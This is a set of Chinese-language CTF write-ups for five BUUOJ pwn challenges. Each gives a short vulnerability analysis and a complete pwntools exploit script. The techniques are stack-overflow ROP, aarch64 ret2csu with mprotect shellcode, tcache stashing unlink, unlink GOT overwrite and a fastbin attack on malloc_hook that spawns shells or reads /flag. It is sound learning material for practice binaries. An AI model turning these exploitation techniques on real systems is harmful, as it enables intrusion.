181 gwctf_2019_jiandan_pwn1
实现了一个类似于gets的函数。我们直接溢出就行。
要注意这个题在gets的时候通过栈上的一个变量来寻址。我们在gets覆盖到那个变量的时候,直接把他覆盖成返回地址的地方,然后直接往返回地址写rop。
# -*- coding: utf-8 -*-
from pwn import*
context.log_level = "debug"
r = process("./181")
#r = remote("node3.buuoj.cn", 28907)
elf = ELF("./181")
libc = ELF("./64/libc-2.23.so")
pop_rdi = 0x400843
fgetc_got = elf.got['fgetc']
main_addr = elf.sym['main']
puts_plt = elf.plt['puts']
payload = 'a'*(0x110 - 0x4) + '\x18' + p64(pop_rdi) + p64(fgetc_got) + p64(puts_plt) + p64(main_addr)
r.sendlineafter("Hack 4 fun!\n", payload)
fgetc_addr = u64(r.recv(6).ljust(8, "\x00"))
libc_base = fgetc_addr - libc.sym['fgetc']
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search("/bin/sh").next()
print "libc_base = " + hex(libc_base)
payload = 'a'*(0x110 - 0x4) + '\x18' + p64(pop_rdi) + p64(bin_sh) + p64(system_addr)
r.sendlineafter("Hack 4 fun!", payload)
r.interactive()
182 shanghai2018_baby_arm
看名字就知道是个arm题。
明显的栈溢出。
程序给出了mprotect,所以我们其实在跟早之前就做过linux中的这种题,rop返回到mprotect,然后修改bss的权限,最后跳过去。这个题的问题就是,架构是aarch64。
需要指出的是,AArch64架构并不是ARM-32架构的简单扩展,他是在ARMv8引入的一种全新架构。
几个常见命令
SP – Stack Pointer:栈指针
R30 LR Link Register:在调用函数时候,保存下一条要执行指令的地址。
R29 FP Frame Pointer:保存函数栈的基地址。
R19-R28 – Callee-saved registers(含义见上面术语解释)
看到进入函数时对SP指针进行了-0x50的操作,之后又将其+0x10作为参数传入read函数。
我们的缓冲区是0x40,上面还会有两个指针,栈指针跟返回地址。
那么padding长度必定为0x40,然后覆盖X29寄存器的值,然后就能覆盖X30(返回地址所在寄存器)
接下来我们需要控制X0-X3寄存器,以完成mprotect(0x411000,0x1000,7)的构造。
可以看到这段代码非常像我们在Intel/AMD架构下利用的ret2csu的代码,那么此处我们可以进行利用。
自0x4008CC处的代码开始,程序会依次对X19、X20、X21、X22、X23、X24、X29、X30赋值。
X29,X30取的是SP指针指向处的值,因此在栈上应当布置成X29、X30、X19、X20、X21、X22、X23、X24的顺序!
我们若接下来将PC劫持到0x4008AC处,程序将执行LDR X3,[X21,X19,LSL#3],那么此句汇编的意义是,将X19的值逻辑左移(Logical Shift Left)三位后加上X21的值,取其所指向的值存储在X3寄存器中。接下来是把X22寄存器的值作为第三个参数,把X23寄存器的值作为第二个参数,把X24寄存器的值(的低32位)作为第一个参数,给X19寄存器的值加一,调用X3寄存器所指向的函数。
我们只需要控制X19为0,LDR X3,[X21,X19,LSL#3]其实就是LDR X3,[X21]那么我们需要找一个可控地址写入mprotect,此时BSS就成了我们的最佳选择。
最后在exp过程中肯能有如下报错,解决方案也在下面了。
apt search binutils | grep aarch64
sudo apt install binutils-aarch64-linux-gnu binutils-aarch64-linux-gnu-dbg
# -*- coding: utf-8 -*-
from pwn import *
r = remote('node3.buuoj.cn',28112)
elf = ELF('./182')
context.log_level = "debug"
context.arch = 'aarch64'
context.os = "linux"
mprotect_plt = elf.plt['mprotect']
csu_ldr = 0x4008CC
csu_call = 0x4008AC
shellcode = asm(shellcraft.sh())
payload = p64(mprotect_plt) + shellcode
r.sendafter('Name:',payload)
shellcode_addr = 0x411068 + 8
payload = 'a'*0x48 + p64(csu_ldr)
payload += p64(0)
payload += p64(csu_call)
payload += p64(0) + p64(1)
payload += p64(shellcode_addr-8)
payload += p64(0x1000007)
payload += p64(len(shellcode))
payload += p64(shellcode_addr)
payload += p64(0)
payload += p64(shellcode_addr)
r.send(payload)
r.interactive()
183 [Black Watch 入群题]PWN2
初始化。
沙箱也开了。
add
用的是calloc,也没有off by null。
throw
明显的uaf。还可以有double free。
edit
红包内容变了变。
watch
直接就是一个puts,统统搞定。
有栈溢出,但是有保护条件,绕过的话需要在qword_2048 的地方写上一个大于0x7f0000000000的数字,题目又是2.29,再结合上面的calloc、沙箱,基本上是一道tcache unlink stashing sttack。
其实偷偷的说这个题跟前面那个新春红包3一摸一样……exp直接拿来跑就行……
from pwn import *
r = remote("node3.buuoj.cn", 25103)
context(log_level = 'debug', arch = 'amd64', os = 'linux')
elf = ELF("./183")
libc = ELF('./64/libc-2.29.so')
one_gadget_19 = [0xe237f, 0xe2383, 0xe2386, 0x106ef8]
menu = "Your input: "
def add(index, choice, content):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("Please input the red packet idx: ")
r.sendline(str(index))
r.recvuntil("How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): ")
r.sendline(str(choice))
r.recvuntil("Please input content: ")
r.send(content)
def delete(index):
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("Please input the red packet idx: ")
r.sendline(str(index))
def edit(index, content):
r.recvuntil(menu)
r.sendline('3')
r.recvuntil("Please input the red packet idx: ")
r.sendline(str(index))
r.recvuntil("Please input content: ")
r.send(content)
def show(index):
r.recvuntil(menu)
r.sendline('4')
r.recvuntil("Please input the red packet idx: ")
r.sendline(str(index))
for i in range(7):
add(0,4,'Chunk0')
delete(0)
for i in range(6):
add(1,2,'Chunk1')
delete(1)
show(0)
last_chunk_addr = u64(r.recvuntil('\n').strip().ljust(8, '\x00'))
heap_addr = last_chunk_addr - 0x26C0
success("heap_base:"+hex(heap_addr))
add(2,4,'Chunk2')
add(3,3,'Chunk3')
delete(2)
show(2)
malloc_hook = u64(r.recvuntil('\n').strip().ljust(8, '\x00')) - 0x60 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
success("libc:"+hex(libc.address))
add(3,3,'Chunk3')
add(3,3,'Chunk3') #get smallbin1
add(4,4,'Chunk4')
add(5,4,'Chunk5')
delete(4)
add(5,3,'Chunk5')
add(5,3,'Chunk5') # get smallbin2
payload='\x00'*0x300+p64(0)+p64(0x101)+p64(heap_addr+0x37E0)+p64(heap_addr+0x250+0x10+0x800-0x10)
edit(4,payload)
add(3,2,'Chunk_3') # get smallbin
pop_rdi_ret = libc.address + 0x26542
pop_rsi_ret = libc.address + 0x26f9e
pop_rdx_ret = libc.address + 0x12bda6
file_name_addr = heap_addr + 0x4A40
flag_addr = file_name_addr + 0x200
ROP_chain = '/flag\x00\x00\x00'
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(file_name_addr)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(0)
ROP_chain += p64(libc.symbols['open'])
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(3)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(flag_addr)
ROP_chain += p64(pop_rdx_ret)
ROP_chain += p64(0x40)
ROP_chain += p64(libc.symbols['read'])
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(1)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(flag_addr)
ROP_chain += p64(pop_rdx_ret)
ROP_chain += p64(0x40)
ROP_chain += p64(libc.symbols['write'])
add(4,4,ROP_chain)
leave_ret = libc.address + 0x58373
r.recvuntil('Your input: ')
r.sendline('666')
r.recvuntil('What do you want to say?')
r.sendline('A'*0x80 + p64(file_name_addr) + p64(leave_ret))
r.interactive()
184 sleepyHolder_hitcon_2016
RELRO没都开,got表危险了。
进来先申请了一个随机大小的chunk,可以避免泄露heap地址,妙啊。
keep
可以申请的chunk有三种。都是用的calloc。
0x40 0x4000 0x400000
没有清理空指针,也没有检查,所以可以double free。
renew
更新chunk里面的数据。
我们想的是通过double free去做unlink,因为指针在栈上,但是问题就是我们用来用去只能用一个大小为fastbin 的chunk,在libc2.23这样的环境下绕不开检查。那么我们在这里就利用malloc_consilidate,让那个free的chunk脱链,然后再次释放,做一个double free。
在unlink的时候我们比较麻烦的是泄露libc地址,因为整个程序没有输出函数,那么我们就通过unlink劫持got表,将free的got改成puts的plt,通过free来泄露地址。然后再次unlink一套带走。
#coding:utf8
from pwn import *
context.log_level = "debug"
r = remote('node3.buuoj.cn',28524)
elf = ELF('./184')
libc = ELF("./64/libc-2.23.so")
free_got = elf.got['free']
puts_plt = elf.plt['puts']
atoi_got = elf.got['atoi']
small_buf_addr = 0x6020D0
def add(type,content):
r.sendlineafter('3. Renew secret\n','1')
r.sendlineafter('What secret do you want to keep?',str(type))
r.sendafter('Tell me your secret:',content)
def delete(type):
r.sendlineafter('3. Renew secret\n','2')
r.sendlineafter('Which Secret do you want to wipe?',str(type))
def edit(type,content):
r.sendlineafter('3. Renew secret\n','3')
r.sendlineafter('Which Secret do you want to renew?',str(type))
r.sendafter('Tell me your secret:',content)
add(1,'a'*0x20)
add(2,'b'*0x20)
delete(1)
add(3,'c'*0x20) #malloc_consilidate
delete(1)
payload = p64(0) + p64(0x21)
payload += p64(small_buf_addr - 0x18) + p64(small_buf_addr - 0x10)
payload += p64(0x20)
add(1,payload)
delete(2)
payload = '\x00'*0x8 + p64(free_got) + p64(0) + p64(small_buf_addr - 0x10) + p64(1)
edit(1,payload)
edit(2,p64(puts_plt))
payload = p64(atoi_got) + p64(0) + p64(atoi_got) + p64(1) + p64(1)
edit(1,payload)
delete(1) #leak_libc
r.recvuntil('2. Big secret\n')
atoi_addr = u64(r.recvuntil('\n')[:-1].ljust(8,'\x00'))
libc_base = atoi_addr - libc.sym['atoi']
system_addr = libc_base + libc.sym['system']
print 'libc_base = ' + hex(libc_base)
print 'system_addr = ' + hex(system_addr)
edit(2,p64(system_addr))
r.sendlineafter('3. Renew secret\n','sh\x00')
r.interactive()
185 nsctf_online_2019_pwn2
先在bss上输入名字。
add
0x60是名字,0x90是地址,0x40是大小。
free
连检查带清空,做完了。
show
输出点啥。
update
给一个重新输入的机会,但是你看那个0x31,太明显了吧……
edit
重新写一下内容。
漏洞就在那个update能改chunk的地址的最后一个字节。
问题是我们怎么利用他。
我们最后采取的方法是说直接先申请一个大于fastbin的chunk,再申请一个其他的,然后通过改变地址,将地址改成第一个,释放,并且故技重施,输出,得到libc地址。故技重施,利用fastbin attack,攻击malloc_hook,从而one_gadget 通过realloc抬栈,一套带走。
# -*- coding: utf-8 -*-
from pwn import*
context.log_level = "debug"
#r = process("./185")
r = remote("node3.buuoj.cn", 26107)
elf = ELF("./1851")
libc = ELF("./64/libc-2.23.so")
#libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc.so.6")
r.sendlineafter("name\n", "Yongibaoi")
def add(size):
r.sendlineafter("exit\n", "1")
r.sendlineafter("size\n", str(size))
def delete():
r.sendlineafter("exit\n", "2")
def show():
r.sendlineafter("exit\n", "3")
def update(name):
r.sendlineafter("exit\n", "4")
r.sendafter("name\n", name)
def edit(note):
r.sendlineafter("exit\n", "5")
r.sendlineafter("note\n", note)
add(0x80)
add(0x10)
delete() #提前埋一个指针,防止一会重新申请chunk的时候直接从unsorted中拿
add(0x20)
update("a" * 0x30 + '\x10')
delete() #让chunk释放后不会被top chunk合并
add(0x10)
update("a" * 0x30 + "\x10") #再次把地址变成第一个chunk
show()
malloc_hook = (u64(r.recv(6).ljust(8, "\x00")) & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.sym['__malloc_hook']
one_gadget =libc_base + 0x4526a
realloc_addr = libc_base + libc.sym['__libc_realloc']
print "libc_base = " + hex(libc_base)
add(0x80)
add(0x10) #调整heap
add(0x60)
delete()
add(0x30)
update("a" * 0x30 + '\x10')
edit(p64(malloc_hook - 0x23)) #再来一次 制造fastbin attack
add(0x60)
add(0x60)
edit("a" * 0xb + p64(one_gadget) + p64(realloc_addr + 0xc))
add(0x10)
r.interactive()